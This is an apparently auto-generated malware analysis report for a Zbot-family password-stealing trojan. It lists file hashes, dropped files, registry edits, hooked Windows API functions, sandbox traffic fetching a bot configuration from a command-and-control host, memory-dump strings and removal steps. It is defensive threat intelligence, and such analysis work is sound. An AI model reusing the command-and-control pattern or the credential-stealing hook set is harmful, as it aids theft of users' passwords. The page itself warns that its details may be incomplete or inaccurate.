Gen.Variant.Kazy.165_2d00ce4d19

by malwarelabrobot on September 28th, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Kazy.165 (B) (Emsisoft), Gen:Variant.Kazy.165 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 2d00ce4d19e563772914933306402106
SHA1: 7833c399b7b7414c7527dc824c44995c9838155b
SHA256: d37e08ab84eb3840eb0e4f68fc3e4f4a29f75190b530fac95a5d3b2896475e4a
SSDeep: 3072:7tsaTXr2uHKN/BD5h/5jrCIHer7Zmv3HSruNyLamWjMAKdWrc:7Garr2uHKN1YJmaiNyVWPdrc
Size: 141824 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: BorlandDelphi30, UPolyXv05_v6
Company: no certificate found
Created at: 2011-11-13 21:26:48
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

pavo.exe:1872
%original file name%.exe:1808

The Trojan injects its code into the following process(es):

Explorer.EXE:880

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1808 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmpd7cb9614.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Aqubdo\pavo.exe (141 bytes)

Registry activity

The process pavo.exe:1872 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "86 61 1E 8D BD D2 8E FD EA F9 22 A5 2C 17 D9 C4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1808 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B7 45 21 48 A3 2B 8F D8 9C 76 B1 0A 1A 9D 53 2D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Veuga]
"Doryypi" = "27 1E F1 ED 8E DC 7B 73 56 D5 B4 C9 4A 79 2C 08"

Dropped PE files

MD5 File path
70fbabc1df7751a2678b0f8f3107924d c:\Documents and Settings\"%CurrentUserName%"\Application Data\Aqubdo\pavo.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 132708 133120 4.65354 92810ea526fe1a5d94fd3ef73eb55bfc
.data 139264 8276 1024 1.12216 0f6ee31e5641ac65e39c6b358fdcfcb0
.reloc 151552 5738 6144 3.90719 6aca691636f83486a3559fd326d0667d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
0fd78c058c4ea1d86d4c41db5018a518

URLs

URL IP
hxxp://82.165.37.26/bot/config.bin
hxxp://senglab.info/bot/config.bin 82.165.37.26


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Possible Zbot Activity Common Download Struct
ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin

Traffic

GET /bot/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: senglab.info
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 27 Sep 2014 13:49:33 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



GET /bot/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: senglab.info
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 27 Sep 2014 13:49:33 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



GET /bot/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: senglab.info
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 27 Sep 2014 13:49:44 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



GET /bot/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: senglab.info
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 27 Sep 2014 13:49:38 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



GET /bot/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: senglab.info
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 27 Sep 2014 13:49:28 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



GET /bot/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: senglab.info
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 27 Sep 2014 13:49:39 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



GET /bot/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: senglab.info
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 27 Sep 2014 13:49:28 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
0</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....

The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_880_rwx_01D70000_00027000:

.text
`.data
.reloc
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
HTTP/1.1
urlmon.dll
cabinet.dll
hXXp://
hXXps://
HTTP/1.
PR_OpenTCPSocket
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
'3''<<0<
8<*4(0,"5
.dvebg|`y!
,2, 6,791'
%5$%&?!6
3.$73$4"4
9)89:#=*
 ,9!;6:!%
45%?<775<
1:,0/2$7
hXXp://VVV.google.com/webhp
SSShX9
GetProcessHeap
KERNEL32.dll
MsgWaitForMultipleObjects
GetKeyboardState
SetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
MapVirtualKeyW
ExitWindowsEx
USER32.dll
RegCreateKeyExW
RegOpenKeyExW
RegCloseKey
RegEnumKeyExW
ADVAPI32.dll
UrlUnescapeA
SHDeleteKeyW
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
PFXImportCertStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestExA
HttpSendRequestExW
HttpSendRequestW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
3$3,343<3
4 4$4(4,4
6m6j6q6
<'</<7<?<
1%1S1p1
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
nspr4.dll
SysShadow
cGlobal\XXX
Global\{BE7FF622-12EB-71E0-1CBE-DCFDC10388B6}
%Documents and Settings%\%current user%\Application Data
{28044407-A0CE-E79B-1CBE-DCFDC10388B6}
%Documents and Settings%\%current user%\Application Data\Ivenuw\qiagi.ina
%Documents and Settings%\%current user%\Application Data\Ivenuw
qiagi.ina


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    pavo.exe:1872
    %original file name%.exe:1808

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\tmpd7cb9614.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Aqubdo\pavo.exe (141 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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